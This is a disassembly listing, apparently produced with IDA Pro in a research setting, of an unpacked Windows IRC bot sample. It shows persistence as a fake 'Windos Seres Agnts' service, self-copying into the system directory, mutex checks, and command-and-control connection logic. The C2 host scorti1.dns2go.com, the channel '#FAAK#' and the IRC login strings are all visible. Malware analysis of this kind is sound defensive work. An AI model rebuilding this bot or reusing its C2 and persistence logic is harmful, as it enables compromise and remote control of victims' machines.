;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	8AA51F8D68309F8036D44BB5E5316354

; File Name   :	u:\work\8aa51f8d68309f8036d44bb5e5316354_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindosSeresAgn ; "Windos Seres Agnts"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB988
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB9F8
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB938


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9B0
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E91C
		call	dword_4CBA6C
		call	sub_40B583
		call	dword_4CB92C
		call	dword_4CB92C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB88
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 2680369h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB80
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB710, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB714, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA80
		push	7530h
		push	offset aSbrsfg	; "sbrsfg"
		push	ebx
		push	ebx
		nop
		call	near ptr 26B077Ch
		push	eax
		nop
		call	near ptr 26B06FEh
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB944
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26B05ACh
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AC8
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26B04AAh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 26B0382h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 26A0E98h
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		call	near ptr 26A0428h
		nop
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 26B0382h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DB88
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26A0E6Ah
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: ___:off_433094o
		nop
		call	near ptr 26A078Ch
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB4
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2680369h
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 26A0428h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB92C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBDF8, 2
		jle	short loc_401562
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26B06FEh
		push	esi
		nop
		call	near ptr 2680000h
		mov	eax, dword_4DBDFC
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 26A0428h
		nop
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+8]
		nop
		call	near ptr 26A06B3h


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAA4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DB90
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_401622
		call	near ptr 26A0E98h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A34
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_40169A
		call	near ptr 26A0E98h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		mov	dword_4CB888, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB79C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7DC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB870, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB718
		mov	dword_4CB884, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB884, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 26A0428h
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB92C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E928
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E91C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA6C
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	near ptr 26A0428h
		nop
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD0
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA6C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB880, bl
		jz	short loc_40199A
		push	offset byte_4CB880
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA6C
		push	1388h
		nop
		call	near ptr 26A0428h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	near ptr 26A0428h
		nop
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
